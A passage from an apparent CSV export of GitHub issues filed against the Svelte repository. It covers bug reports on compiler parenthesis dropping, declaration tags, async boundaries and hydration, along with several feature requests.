| `$.strict_equals(a, b, true)` | `(a === b) === true` → `a === b` | Correct for `===` |
| `$.strict_equals(a, b, false)` | `(a === b) === false` → `a !== b` | Correct for `!==` |

The issue is in the **compiler's BinaryExpression visitor**
(`src/compiler/phases/3-transform/client/visitors/BinaryExpression.js`).
In dev mode, the `===` and `!=... [TRUNCATED]",,2026-06-18T01:04:38Z,2026-06-18T02:40:03Z,1
sveltejs/svelte,4686553961,"<script type=""application/ld+json""> inside <svelte:head> is duplicated in the DOM","### Describe the bug

When placing a <script type=""application/ld+json""> tag inside <svelte:head>, the tag ends up rendered twice in the HTML. Other elements inside <svelte:head> (like <title>, <meta>, <link>) are not affected.


### Reproduction

`<svelte:head>
  <script type=""application/ld+json"">
    {""@context"": ""https://schema.org/"", ""@type"": ""FAQPage"", ""mainEntity"": []}
  </script>
</svelte:head>`

Open DevTools → Elements and search for FAQPage — it appears twice in the DOM.

### Logs

```shell

```

### System Info

```shell
SvelteKit (latest)
```

### Severity

blocking an upgrade",,2026-06-17T19:47:45Z,2026-06-17T19:50:30Z,0
sveltejs/svelte,4626028816,Please support installation via CDN,"### Describe the problem

Sometimes I want to do quick prototyping of svelte components I need to do a lot of work. If there's a way to install svelte via CDN it will be really helpful. Other project like tailwind or alpinejs can do this. 

### Describe the proposed solution

Add installation via CDN

### Importance

would make my life easier",,2026-06-09T22:13:52Z,2026-06-10T07:58:55Z,1
sveltejs/svelte,4595117802,"Compiler drops parentheses in boolean expressions, changing operator precedence","### Describe the bug

## Description
The Svelte 5 compiler strips parentheses from boolean expressions, 
changing operator precedence and producing incorrect runtime behaviour.



### Reproduction

## Reproduction

Source:
```js
if (hasAlarms && (hasNotBeenRaised || canReRaise)) {
```

Compiled output:
```js
if (hasAlarms && hasNotBeenRaised || canReRaise) {
```

Which evaluates as:
```js
if ((hasAlarms && hasNotBeenRaised) || canReRaise) {
```

## Expected
Compiled output should preserve the original operator precedence.

## Workaround
Split into separate variables to avoid nested boolean expressions:
```js
const canShow = hasNotBeenRaised || canReRaise
const shouldShow = hasAlarms && canShow
if (shouldShow) {
```



### Logs

```shell
Map.svelte:829 BEFORE IF {hasAlarms: false, hasNotBeenRaised: false, canReRaise: true}
Map.svelte:832 SHOWING ALARMS {hasAlarms: false, hasNotBeenRaised: false, canReRaise: true}
```

### System Info

```shell
## Environment
- svelte: 5.56.1
- vite-plugin-svelte: 7.1.2
- vite: 8.0.13
```

### Severity

annoyance",,2026-06-05T07:29:38Z,2026-06-05T12:30:58Z,1
sveltejs/svelte,4595093035,$state.snapshot with BigInt properties infer as never,"### Describe the bug

Hey, I noticed when I try using $state.snapshot with an object that contains a BigInt, the property is inferred as `never`.

In the types for $state.snapshot:

```ts
	type Snapshot<T> = T extends Primitive
		? T
		: T extends Cloneable
			? NonReactive<T>
			: T extends { toJSON(): infer R }
				? R
				: T extends readonly unknown[]
					? { [K in keyof T]: Snapshot<T[K]> }
					: T extends Array<infer U>
						? Array<Snapshot<U>>
						: T extends object
							? T extends { [key: string]: any }
								? { [K in keyof T]: Snapshot<T[K]> }
								: never
							: never;
```

It first checks if `T` is a Primitive, which is defined as such:

```ts
type Primitive = string | number | boolean | null | undefined;
```

It then checks if `T` is a Cloneable, which is defined as such:

```ts
	/** The things that `structuredClone` can handle — https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Structured_clone_algorithm */
	export type Cloneable =
		| ArrayBuffer
		| DataView
		| Date
		| Error
		| Map<any, any>
		| RegExp
		| Set<any>
		| TypedArray
		// web APIs
		| Blob
		| CryptoKey
		| DOMException
		| DOMMatrix
		| DOMMatrixReadOnly
		| DOMPoint
		| DOMPointReadOnly
		| DOMQuad
		| DOMRect
		| DOMRectReadOnly
		| File
		| FileList
		| FileSystemDirectoryHandle
		| FileSystemFileHandle
		| FileSystemHandle
		| ImageBitmap
		| ImageData
		| RTCCertificate
		| VideoFrame;
```

BigInts are not only supported by structuredClone, they are also pri... [TRUNCATED]",,2026-06-05T07:25:12Z,2026-06-05T13:35:32Z,0
sveltejs/svelte,4592525893,Async derived rejection escapes inner boundary,"### Describe the bug


Looks like this was introduced in 5.55.6.

Used claude for the research/repro:

When an async $derived rejects inside a <svelte:boundary> that handles the error (via failed and/or onerror), the error is delivered twice. The first delivery is handled correctly — the boundary tears down its main effect and renders the failed snippet. But a follow-up settle then re-runs the reaction (finish in reactivity/async.js), which synchronously re-throws the rejected value and routes it through invoke_error_boundary(error, parent). By then the handling boundary's effect has been destroyed, so effect.b is null, and invoke_error_boundary crashes at:

```
// packages/svelte/src/internal/client/error-handling.js
/** @type {Boundary} */ (effect.b).error(error); // effect.b is null
```

with TypeError: Cannot read properties of null (reading 'error'). That secondary error has no live boundary to catch it, so it escapes to the parent boundary — i.e. a child component's localized error takes down a much larger part of the tree.

A dependent $derived that reads the awaited value (const model = $derived({ title: data.title })) is what triggers the re-run; without the second read the reaction has nothing to re-evaluate.

### Reproduction

https://svelte.dev/playground/ab1d596e8f5f45ebb7f844db875fe56b?version=5.55.6

Not fixed in 5.56.2 https://svelte.dev/playground/ab1d596e8f5f45ebb7f844db875fe56b?version=5.56.2

Works in 5.55.5 https://svelte.dev/playground/ab1d596e8f5f45ebb7... [TRUNCATED]",,2026-06-04T22:14:37Z,2026-06-05T19:17:51Z,0
sveltejs/svelte,4588272909,<svelte:boundary> fails to execute {@attach} inside an await block when layout also contains an await block,"### Describe the bug

An element utilizing the `{@attach}` directive inside a `<svelte:boundary>` fails to execute its attachment callback if the boundary includes an `await` block, and the parent `+layout.svelte` also resolves an `await` expression prior to rendering its children (`{@render children()}`).

The callback inside `{@attach}` is bypassed entirely. However, prepending an empty dummy `<svelte:boundary>` directly before the affected boundary mitigates the issue, allowing the lifecycle to execute correctly.

### Expected behavior
The `{@attach}` callback on the `<div>` should execute and log `'run'` to the console once the promise within the boundary resolves and the element mounts.

### Actual behavior
The `{@attach}` callback is ignored, and nothing is logged to the console.

### Workaround
The execution triggers normally if a dummy `<svelte:boundary>` with an empty asynchronous expression is placed immediately above the primary boundary:

```svelte
<svelte:boundary>
    {await ''}
    {#snippet pending()}{/snippet}
</svelte:boundary>

<svelte:boundary>
    {await new Promise((resolve) => setTimeout(resolve, 50))}
    <div
        {@attach () => {
            console.log('run');
        }}
    >
        loaded
    </div>
    {#snippet pending()}
        pending
    {/snippet}
</svelte:boundary>
```

### Reproduction

#### Reproduction Link

- Svelte Playground (REPL): https://svelte.dev/playground/0a7189adb1ff4f3ab38379f42d37e7e1?version=5.56.1

**Note on reproduct... [TRUNCATED]",,2026-06-04T11:24:35Z,2026-06-06T08:20:35Z,3
sveltejs/svelte,4585987469,Compiler drops precedence-significant parentheses in logical expressions (`a && (b || c)` → `a && b || c`),"### Describe the bug

When the Svelte compiler re-prints a JavaScript logical expression that contains a
**parenthesized `||` (or `&&`) nested on the side that needs the parentheses**, it
emits the expression **without the parentheses**. Because `&&` binds tighter than
`||`, this silently changes the runtime semantics of the code.

Source:

```js
if (e.key === 'b' && (e.metaKey || e.ctrlKey)) { ... }
```

Compiled output:

```js
if (e.key === 'b' && e.metaKey || e.ctrlKey) { ... }
// JS parses this as: ((e.key === 'b' && e.metaKey) || e.ctrlKey)
```

So the guard fires whenever `e.ctrlKey` is true, regardless of `e.key`. In our app
this made a `Ctrl+B` sidebar shortcut toggle on _any_ Ctrl-held key (and on Ctrl
alone), which the source code clearly does not express.

This affects both `compile` (component markup/script) and `compileModule`
(`.svelte.js` / `.svelte.ts`), so it appears to be in the shared code printer
(esrap), not the template transform.

### Cases

| Source                  | Compiled output       | Semantics                       |
| ----------------------- | --------------------- | ------------------------------- |
| `a && (b \|\| c)`       | `a && b \|\| c`       | ❌ changed → `(a && b) \|\| c`  |
| `(a \|\| b) && c`       | `a \|\| b && c`       | ❌ changed → `a \|\| (b && c)`  |
| `a === b && (c \|\| d)` | `a === b && c \|\| d` | ❌ changed (real-world case)    |
| `a \|\| (b && c)`       | `a \|\| b && c`       | ✅ unchanged (parens redundant) |

The prin... [TRUNCATED]",,2026-06-04T05:07:28Z,2026-06-04T05:17:22Z,1
sveltejs/svelte,4585442964,Assigning to `state` via top level `await` breaks attachments,"### Describe the bug

Assigning to a `$state` via a top level `await` results in no attachments ever running.

This is easily fixed by moving the `await` inside the `$state` initialization but it should at least cause an error or warning or something.

### Reproduction

https://svelte.dev/playground/7bef44eb525d4fd68151dd1b8dc1e016?version=5.56.1

### Logs

```shell

```

### System Info

```shell
`REPL`
```

### Severity

annoyance",,2026-06-04T03:11:54Z,2026-06-06T00:57:03Z,4
sveltejs/svelte,4584127975,Bad order of operations in expressions,"### Describe the bug

    const big = 'are you kidding'
    const small = ''
    console.log(false && (small || big))

in typescript the output is: false
in a svelte component the output is: 'are you kidding'

it would seem the original expression is being transpiled to:
(false && small) || big

### Reproduction

the example given in the description is easily reproduced

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 26.5.1
    CPU: (12) x64 Intel(R) Core(TM) i5-10600 CPU @ 3.30GHz
    Memory: 447.70 MB / 48.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.22.2 - /Users/tobylewis/.nvm/versions/node/v22.22.2/bin/node
    npm: 10.9.7 - /Users/tobylewis/.nvm/versions/node/v22.22.2/bin/npm
    pnpm: 11.5.0 - /Users/tobylewis/.nvm/versions/node/v22.22.2/bin/pnpm
  Browsers:
    Chrome: 148.0.7778.216
    Firefox: 127.0.2
    Safari: 26.5
  npmPackages:
    svelte: catalog: => 5.56.1
```

### Severity

annoyance",,2026-06-03T22:27:47Z,2026-06-03T22:29:58Z,1
sveltejs/svelte,4582282753,[5.56.1] Compiler drops required parentheses in `a && (b || c)`,"### Describe the bug

5.56.1 has a codegen bug where parentheses that matter for operator
precedence get dropped. A parenthesized `||` sitting inside an `&&` comes out
ungrouped. Since `&&` binds tighter than `||`, the expression quietly changes
meaning:

```
a && (b || c)   →   a && b || c   →   (a && b) || c
```

### Expected vs actual

- **Expected:** the generated code keeps the grouping, so it evaluates the same as the source.
- **Actual:** the parens disappear whenever a `||` is an operand of `&&`, which flips the result.

### Reproduction

```js
import { compile, VERSION } from 'svelte/compiler';

const src = `
<script>
	let a = $state(true);
	let b = $state(true);
	let c = $state(true);
	const r = $derived(a && (b || c));
</script>
{r}
`;

console.log(VERSION);
console.log(compile(src, { generate: 'client' }).js.code.match(/const r =.*/)[0]);
```

```
5.56.1
const r = $.derived(() => a && b || c);   // the (b || c) parens are gone
```

A few more shapes from the same call:

| Written                | Generated            | OK?                            |
| ---------------------- | -------------------- | ------------------------------ |
| `a && (b \|\| c)`      | `a && b \|\| c`      | no — now `(a && b) \|\| c`     |
| `(a \|\| b) && c`      | `a \|\| b && c`      | no — now `a \|\| (b && c)`     |
| `a && (b \|\| c) && d` | `a && b \|\| c && d` | no                             |
| `a \|\| (b && c)`      | `a \|\| b && c`      | fine (those parens were redundant) |

... [TRUNCATED]",,2026-06-03T17:45:20Z,2026-06-03T17:53:00Z,1
sveltejs/svelte,4579792011,await_reactivity_loss: false positive on a synchronous read in an unrelated component (leaked global tracker),"### Describe the bug

With compilerOptions.experimental.async: true, await_reactivity_loss is emitted for a synchronous state read in a component that contains no await at all.

The warning's own stack trace shows the read happening inside an ordinary synchronous derived, there is no await, no async function, and no track_reactivity_loss anywhere in the read's stack. Reactivity not actually lost; the dependency is tracked correctly and the value updates as expected.


### Reproduction

https://svelte.dev/playground/7babc55d2f8c47dc99c3cde01732a509?version=5.56.1

Steps: click change a few times. await_reactivity_loss is logged for Store.#undoStack, traced to get canUndo ← Bar.svelte, even though Bar has no await and Async never reads #undoStack.

Note: this is a race in the microtask queue, so the warning count varies per click. The multiple <Async /> instances and the nested queueMicrotask only widen the timing window — they aren't essential to the mechanism. A single block fired intermittently for me; the wider setup makes it reliable.

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 26.4.1
    CPU: (14) arm64 Apple M4 Pro
    Memory: 2.09 GB / 48.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.18.0 - /Users/reinhard/.nvm/versions/node/v22.18.0/bin/node
    npm: 10.9.4 - /Users/reinhard/.nvm/versions/node/v22.18.0/bin/npm
    bun: 1.3.14 - /Users/reinhard/.bun/bin/bun
  Browsers:
    Brave Browser: 146.1.88.134
    Chrome: 148.0.7778.181
  ... [TRUNCATED]",,2026-06-03T12:25:45Z,2026-06-04T01:49:21Z,0
sveltejs/svelte,4579229125,Compiler drops precedence-significant parentheses in logical expressions (`(a || b) && c` → `a || b && c`),"### Describe the bug

The compiler drops **precedence-significant parentheses** from logical (`&&`/`||`) expressions, generating valid-but-semantically-wrong JavaScript. Any parenthesized `||` group used as an operand of `&&` is corrupted.

For example, `(b || a) && c` is compiled to `b || a && c`, which by JS operator precedence means `b || (a && c)` — a different boolean. This silently produces incorrect runtime values (not a syntax error), so it fails quietly.

This happens in **every expression context**: `$derived(...)`, `$:` reactive statements, and inline template attributes (`disabled={...}`).

It is distinct from the closed Svelte 3 issue #5558 (that one was about `??` mixing causing a *syntax error*; this one produces valid but wrong code).

### Reproduction

Compiling with `svelte/compiler` (5.56.1):

```js
import { compile } from 'svelte/compiler';
const src = `<script>let a=$state(false), b=$state(true), c=$state(false); const x=$derived((b||a)&&c);</script>{x}`;
console.log(compile(src, { generate: 'client', runes: true }).js.code);
// ->  const x = $.derived(() => b || a && c);     // parens dropped: now (b || (a && c))
```

Runtime demonstration (REPL):

```svelte
<script>
  let a = $state(false);
  let b = $state(true);
  let c = $state(false);
  // intent: (b || a) && c  =>  (true || false) && false  =>  false
  const result = $derived((b || a) && c);
</script>
<p>{result}</p>
```

Renders **`true`** — should be **`false`**. The compiled getter is `() => b |... [TRUNCATED]",,2026-06-03T11:03:27Z,2026-06-03T15:31:31Z,2
sveltejs/svelte,4573160843,New const declaration shows error when using the animate directive inside each block,"### Describe the bug

By using the new `{const}` thing, and having an item with the animate directive rigt below it, we get the error:

""An element that uses the `animate:` directive must be the only child of a keyed `{#each ...}` block""

If I then change to the ""old"" `{@const}` the error goes away

<img width=""1915"" height=""987"" alt=""Image"" src=""https://github.com/user-attachments/assets/af03ab11-0dc8-4b6d-a32f-e93e4dcd0e59"" />


PS: I'm not sure how to classify the severity, the app doesn't build with it, and that's my first time creating a bug report lol

### Reproduction

```svelte
<script>
  const array = [{ id: 1, name: 'a'}]
</script>

{#each array as item (item.id)}
  {const iName = item.name}
  <div animate:flip>
    <p>{iName}</p>
  </div>
{/each}
```
Playground link: https://svelte.dev/playground/0100487a59e6457597df4d2c90f0f733?version=latest


### Logs

```shell

```

### System Info

```shell
Packages:
svelte: 5.56.1
svelte-check: 4.5.0

Extension:
svelte.svelte-vscode: 110.1.0
```

### Severity

annoyance",,2026-06-02T16:22:48Z,2026-06-02T23:12:26Z,0
sveltejs/svelte,4566455394,"Docs: clarify that bare `{const}` is not reactive, unlike the `{@const}` it replaces","### Describe the bug

The [declaration-tags docs](https://svelte.dev/docs/svelte/declaration-tags) say `{@const ...}` is legacy and to use `{const ...}` instead, but don't mention that the two behave differently. `{@const x = e}` was reactive — a `$derived` behind the
scenes, the same way `{count}` updates in the template. A bare `{const x = e}` is not: it behaves like a `const` in `<script>`, evaluated once. So a `{@const}` → `{const}` rename silently drops reactivity — no compile or type error, the UI just stops updating — until it's rewritten as `{const x = $derived(e)}`.

The page never says this, and its only bare-`{const}` example is inside an `{#each}`. A bare `{const}` there is one-time too — recomputed when an item is created, not when an item's data mutates — but the example's array is static, so it can never go stale, which makes bare `{const}` look reactive when it isn't.

A short note next to ""use declaration tags instead"" would cover it:

| was              | reactive equivalent       | one-time        |
| ---------------- | ------------------------- | --------------- |
| `{@const x = e}` | `{const x = $derived(e)}` | `{const x = e}` |


### Reproduction

REPL: <https://svelte.dev/playground#H4sIAAAAAAAAA4WSUU6EMBCGr9JUHyAsoq9YyK56C_GhW2a1sTuQdmDdEBIP4Qk9iaFFSMwmvk2n__z950sHjvIIPOeSUtWgo7R3a1GD1T3UqcbUoW5bIL7hJLU5aax5fpDGwYYftAHH8-eB07mdvKYG3_w679r2xvVgaOrtpYNLfdUgAZLjORdOWd1SWWFFBoippkNiBbt2JAmi2_i-QpGtIhT7jqhB1qAyWr0XQxSzogxzSTKWGpWFIyCx78-v2U47hs2JDf40iixYeLv... [TRUNCATED]",,2026-06-01T21:11:41Z,2026-06-01T21:26:59Z,4
sveltejs/svelte,4559490813,hangs (infinite loop) on a `{const}` / `{let}` whose expression ends with a bare `/` at end of input,"### Describe the bug

I found this issue while working on https://github.com/sveltejs/svelte/pull/18330.

This hang can be particularly problematic when it occurs in the language server.

### Reproduction

https://svelte.dev/playground/hello-world?version=5.56.0#H4sIAAAAAAAAE23LsQrCMBSF4Ve5nEkhKK4BBzffQRxScwqBa1Kaq62EvrtkcHP9-P-GHJ6Ex5WqRZYya5QdYzLGPRzGpKzwtwb7TL3rAPe7LtN0qG-qdRtC5T9_lGzMVuHRlCarnOUkRzgYV4O3-cXt7mAh6ZJyhB-DVm5fqIXUbZwAAAA

### Logs

```shell

```

### System Info

```shell
I'm using the playground
```

### Severity

annoyance",,2026-06-01T00:21:12Z,2026-06-01T08:04:01Z,0
sveltejs/svelte,4557341409,[5.55.10] Hydration mismatch when reading an async derived in component prop,"### Describe the bug

Starts to appear in 5.55.10. I suspect this is the reason element ref bindings are broken in my app (a dialog trigger doesn't open dialog when clicked). Still investigating.

### Reproduction

```html
<script>
	let { onclick } = $props();
</script>
 <button {onclick}> A button </button>
```
```html
<script lang=""ts"">
	import Button from '$lib/button.svelte';
	async function getFoo() {
		return 'foo';
	}
	const foo = $derived(await getFoo());
</script>

{foo}
<Button
	onclick={()=>foo}
/>
```
https://stackblitz.com/edit/sveltejs-kit-template-default-h6zh24k5?file=src%2Froutes%2F%2Bpage.svelte,src%2Flib%2Fbutton.svelte


### Logs

```shell

```

### System Info

```shell
svelte@5.55.10
kit@2.61.1
```

### Severity

blocking an upgrade",,2026-05-31T11:05:05Z,2026-06-01T21:39:51Z,0
sveltejs/svelte,4557293436,declaration tags: if with wrong declaration,"### Describe the bug

Hey! 

I was playing with the new declarations. Not sure if I'm missing something obvious, but the following case doesn't seem to produce any warning / error (just runtime exception): 
```svelte
<script lang=""ts"">
	let show = $state(false);
	
	class Todo {
		done = $state(false);
		doubleText = $derived(`${this.text}-${this.text}`);
	
		constructor(text) {
			this.text = $state(text);
			$effect(() => console.log(this.text));
		}
	
		reset() {
			this.text = '';
			this.done = false;
		}
	}
</script>

<button onclick={() => show = !show}>Toggle</button>

{#if show}
	{c = new Todo('init')}
	{c = new Todo('init')}
	{c = new Todo('init')}
	{d = new Date()}
	{i = 10}
	{s = ''}

	{d}
	{c.doubleText}
	<input bind:value={c.text} />
{/if}
```
Note that `{s = $state('')}` is reported as an error. I also get an error in case `{#if true} ... {/if}`. 

### Reproduction

[playground](https://svelte.dev/playground/774e058a26774216b15d4ce39af45225?version=5.56.0)

### Logs

```shell

```

### System Info

```shell
Just using the playground
```

### Severity

annoyance",,2026-05-31T10:43:32Z,2026-05-31T12:17:16Z,1
sveltejs/svelte,4557290118,Feature suggestion,Hi DEATHLEGION here from Sri Lanka. This is an amazing project! I was wondering if there are plans to add support for TypeScript? Would love to contribute if needed.,,2026-05-31T10:41:58Z,2026-05-31T14:14:24Z,1
sveltejs/svelte,4556684331,built in simple helper/template/tag/something for render icons easily,"### Describe the problem

It's a fact that many websites use SVG icons these days.

And it's very common to have a dynamic style for these icons in `hover,` `focus,` `click,` etc.

In Svelte, the most appropriate way to do this is to wrap the SVG in a component and have full control over the SVG's properties.

---

The easiest way to use an icon in Svelte is by importing it and adding it to the `src` attribute of the `img` tag.
However, this makes it impossible to edit any of the icon's CSS properties.

### Describe the proposed solution

It would be great to have something similar to what Astro has for icons.

https://docs.astro.build/es/guides/images/#componentes-svg

with a simple syntax and control at least of basic svg properties like `width` `height` and `colors` ; not for nested svgs, only for simple svgs.

example:
```html
<script lang=""ts"">
    import Logo from './path/to/svg/file.svg';
</script>

<Logo />
```

### Importance

would make my life easier",,2026-05-31T05:37:36Z,2026-05-31T08:35:12Z,1
sveltejs/svelte,4555807432,Declaration tag bugs,"[This doesn't work](https://svelte.dev/playground/aaac159f0f73466bb3859dfed6792cab?version=5.56.0#H4sIAAAAAAAAE23OwQrCMAwG4FcJwcMm4sRjcQOfwaPz0LlMCjUrazaVsXc3HR69FPL175_OyPZJaPAiVggcQ2QXAknEHXbOU0RznVE-IYUSqP-enEPYx4m8JGtspH9-71mItc7g7Emg63soYRPTuuyQ76CxQ4KWBjdRm6X7LRzzpeaaT47DKJC2lzUOlh9UIzSOWzNZP1I5a3yBolrDodLJwGqnIlQrab2Snivph4TegkaGkZabTtb5l_ah6ayPtHwBLUNLvRABAAA) — the `foo` declaration isn't correctly transformed inside the `bar` declaration:

```svelte
{let foo = $state(0), bar = $derived(foo * 2)}

<input type=""range"" bind:value={foo} />

<p>foo: {foo}</p>
<p>bar: {bar}</p>
```

Either we should make this work, or prohibit declarations with multiple declarators.

You can put them in [separate declarations](https://svelte.dev/playground/hello-world?version=5.56.0#H4sIAAAAAAAAE23OwWrDMAwG4FcRYod0jLXsaJrAbnuHpQenVoZBs42tpC0h717Z7LiLQZ9-_2jDYH8JDX4Rc4RbzOygI-eF3AHfcPZMBc33hvJINVdB_e_XZ0rvZSWWapMt9J9fYxAKojW4MQnMMUIPL0WsUHc67GNoPNlc2VH2K7mupl7ho67HcPYhLQL1hn7EbMMPjQiTD86slhfqN43vcBxaOA06GWh2PqahkdYr6dtIzxK6CxrJC-0Xnaznm_ahmS0X2p_iXweHGQEAAA) and it works, but there's an erroneous compiler warning:

```svelte
{let foo = $state(0)}
{let bar = $derived(foo * 2)}

<input type=""range"" bind:value={foo} />

<p>foo: {foo}</p>
<p>bar: {bar}</p>
```

[Whitespace](https://svelte.dev/playground/aaac159f0f73466bb3859dfed6792cab?version=5.56.0#H4sIAAAAAAAAE23OzQrCMAwH8FcJwcMUUfFY3MBn8Gg9dC6TQs3Kmk1l7N1Nh0d7KOTHPx8TsnsSGryIEwLPkNjHSJJwi60PlNBcJ5RPzKEM6r-Wc4y7NFKQbLVL9M_vHQuxjjM4WbYSSKDtO... [TRUNCATED]",bug,2026-05-30T21:53:55Z,2026-06-01T07:59:39Z,0
sveltejs/svelte,4555404907,"`set_attributes` doesn't prioritize `type` before `value` for input elements, causing newline stripping with spreads","### Describe the bug

When spreading props onto an `<input>` element and explicitly setting `type=""hidden""` after the spread, newlines in the `value` are silently stripped on initial client-side render.

Minimal case:

```svelte
<script>
  const spread = $state({ name: ""field"", value: ""line1\nline2\nline3"" });
</script>

<!-- BUG: newlines stripped -->
<input {...spread} type=""hidden"" />

<!-- OK: newlines preserved -->
<input type=""hidden"" {...spread} />
```

### Root cause

`set_attributes()` in `src/internal/client/dom/elements/attributes.js` iterates the merged props object with `for (const key in next)`. JavaScript iterates object keys in insertion order, so for:

```js
{ ...spread(), type: ""hidden"" }
```

`value` (from the spread) is visited **before** `type`. At that point the element is still `type=""text""` (the default). Setting `.value` on a text input triggers the [HTML value sanitization algorithm](https://html.spec.whatwg.org/multipage/input.html#value-sanitization-algorithm), which strips `\n` and `\r`. By the time `type` is set to `""hidden""`, the newlines are permanently lost.

The reverse order (`{ type: ""hidden"", ...spread() }`) works because `type` appears first in insertion order and is set before `value`.

### Suggested fix

When `set_attributes` encounters both `type` and `value` for an `<input>` element, it should set `type` before `value` regardless of iteration order. This mirrors what React does — React's DOM reconciler [explicitly sets `type` before o... [TRUNCATED]",,2026-05-30T19:11:56Z,2026-05-31T16:16:38Z,0
sveltejs/svelte,4553273756,Cannot use ternary expressions in template text content,"### Describe the bug

I want to use a ternary expression instead of a variable declaration, but it results in an error. This issue did not occur in v5.55.0.

<img width=""816"" height=""176"" alt=""Image"" src=""https://github.com/user-attachments/assets/6e6e5ddc-265a-47ec-935b-4ba1e03c7afa"" />

### Reproduction

https://svelte.dev/playground/hello-world?version=5.56.0#H4sIAAAAAAAAE22PQU_DMAyF_4plDgWpovesLdp_4LbskHbeiGTcKvYGU9X_jpKC4MDFiZ7fy_eyoIR3QodMBg2Mk6gBpTQlrPEcmRTdYUG7z9mUBax_Ivt5ftYbsWVtCEr_6eMkRmKKDlsdU5wNOMil82jqsfcCkNHnyEbp9T6TA7UU5bLLq61PUCXLO4UODlWoaqiGPAJzdYSgm2_npW02Ru_FS6vENBoMUU7uFvhK3fLLWQt7eaAwvv0lBIX8W3jM82nNJoB2mi1OAt-vWMmXA7qu24rAC1R75pLWCly5rG2zRTdak2lr6Vm69V6wRqNPQ2fpSuuxRguRP6Kc0J0DK61f139PcKMBAAA

### Logs

```shell

```

### System Info

```shell
N/A (I'm using playground)
```

### Severity

blocking an upgrade",,2026-05-30T04:58:20Z,2026-06-01T08:03:43Z,0
sveltejs/svelte,4551456613,"playground download script: fetch lacks AbortController/timeout, hangs indefinitely on slow svelte.dev API","## Summary

The `playgrounds/sandbox/scripts/download.js` script fetches a playground JSON file from `https://svelte.dev/playground/api/${id}.json` without an `AbortController` or a timeout signal. If the upstream API is slow, stalled, or unreachable, the `await fetch(...)` call will hang indefinitely, blocking any developer or CI job running the script with a Svelte playground URL that uses a server-side ID (no URL hash). This is a straightforward code-quality improvement: the fetch should carry a timeout so the script fails fast and clearly rather than hanging silently.

## What I observed

In `playgrounds/sandbox/scripts/download.js`, lines 733–736, the `else` branch for a playground URL without a hash fragment makes an unbounded network call:

```js
// playgrounds/sandbox/scripts/download.js, line 733
const id = url.pathname.split('/')[2];
const response = await fetch(`https://svelte.dev/playground/api/${id}.json`);

files = (await response.json()).components.map((data) => {
```

There is no `signal` passed to `fetch`, so if `svelte.dev` takes arbitrarily long to respond (or never does), the process simply stalls with no timeout and no diagnostic output.

## Suggested fix

Pass `signal: AbortSignal.timeout(30_000)` (or a similar reasonable duration) in the fetch options. `AbortSignal.timeout` is available in Node.js 17.3+ (the repo already targets modern Node.js):

```js
const response = await fetch(`https://svelte.dev/playground/api/${id}.json`, {
    signal: AbortSignal... [TRUNCATED]",,2026-05-29T20:34:18Z,2026-05-30T10:57:38Z,1
sveltejs/svelte,4536144849,Stale component state handles after remount,"### Describe the bug

State handles exposed by child components can become stale after conditional remounts. Updating an old handle may still update shared backing state, but it does not update the currently rendered component instance until that instance is remounted again.

### Reproduction

https://svelte.dev/playground/a4eaa892710940f0939d2d61838e08ee?version=latest

1. Expand alpha/beta
2. Hide All
3. Show All
4. Collapse All

Goal: Collapse All should collapse everything.

After items are hidden by a filter and shown again, the child components are remounted, but the parent still holds old state handles, what is interesting is that it actually does collapse it under the hood because if you click ""hide all"" then ""show all"" after the reproduction steps it shows them collapsed.

### Logs

```shell

```

### System Info

```shell
N/A
```

### Severity

annoyance",,2026-05-27T22:21:17Z,2026-05-27T22:28:56Z,1
sveltejs/svelte,4485891945,Nested `bind` does not propagate under specific circumstances,"### Describe the bug

Version `5.55.6` introduced a bug when having a nested `bind` directive, and updating its value from the outermost parent after it has been mounted, which does not cause a proper rerender of the child (the value _does_ seem to update).

These ""special circumstances"" include a (seemingly empty) boundary as well.

So far I have only verified the bug using `bits-ui`, but maybe it could be reproduced with something a bit more native as well...

### Reproduction

https://svelte.dev/playground/c0d95a62bb3a4bb1910bea0c6fd9bc6a?version=latest

### Logs

NIL

### System Info

Irrelevant

### Severity

blocking an upgrade",,2026-05-20T11:21:04Z,2026-05-20T21:49:40Z,0
sveltejs/svelte,4482474892,Use of `$.strict_equals` in dev mode leads to unexpected scripts,"### Describe the bug

Relates to https://github.com/sveltejs/svelte/issues/13214.

While creating a script to be used as an injected script to `<svelte:head>`, I noticed strict comparisons to non-reactive variables compiles to `$.strict_equals`, and that wouldn't work for my use case of running scripts within `<head>`.

The script used for my application:

```html
<script module>
  const themes = Object.freeze({ auto: 'auto', light: 's-light', dark: 's-dark' })
  type ThemeValues = (typeof themes)[keyof typeof themes]

  const THEME_STORAGE_KEY = 'theme'

  function getThemePreference() {
    const THEME_STORAGE_KEY = 'theme'

    const themePreference = localStorage.getItem(THEME_STORAGE_KEY) as ThemeValues | null
    if (!themePreference) return

    if (themePreference === 's-dark' || themePreference === 's-light') {
      document.documentElement.classList.add(themePreference)
    }
  }
</script>

<svelte:head>
  {#if instance.current === 1}
    {@html `<script>(${getThemePreference.toString()})()</script>`}
  {/if}
</svelte:head>
```

Using `@html` I'm inlining my `getThemePreference` function and calling it within `<head>` before `<body>` gets parsed and rendered. But since comparisons like `themePreference === 's-dark'` compiles to `$.strict_equals(themePreference, 's-dark')`, it interferes with local testing since `$` would not be available at the time my script runs.

Since I'm not using Runes, I would expect equivalence expressions (`===`) to not compile to `$.stric... [TRUNCATED]",,2026-05-20T01:52:51Z,2026-05-21T20:27:00Z,3
sveltejs/svelte,4470011206,Broken navigation with type error in transitions.js,"### Describe the bug

For Immich, svelte v5.55.3 seems to have introduced an issue with navigation animations.
When clicking on a link to a different page, the browser correctly navigates (the URL updates, the page load of the new page is triggered, etc) but the new page doesn't replace the current page. Instead, it renders below the current page, making the entire website scrollable:

<img width=""1912"" height=""1242"" alt=""Image"" src=""https://github.com/user-attachments/assets/c38a500f-3276-44e1-a9f3-039ca8b2705f"" />

Looking at the browser console, https://github.com/sveltejs/svelte/blob/main/packages/svelte/src/internal/client/dom/elements/transitions.js#L419 throws a type error on the `Math.abs` call:

<img width=""382"" height=""471"" alt=""Image"" src=""https://github.com/user-attachments/assets/4cd597d7-5f80-476b-881a-546c9605acf1"" />

As it's reliably reproducible with just the svelte upgrade I am fairly positive this isn't on us. However, there is still a likelihood of us doing something that isn't intended to be done that way which is now causing this error. In that case I'd appreciate any pointers, if possible. 

### Reproduction

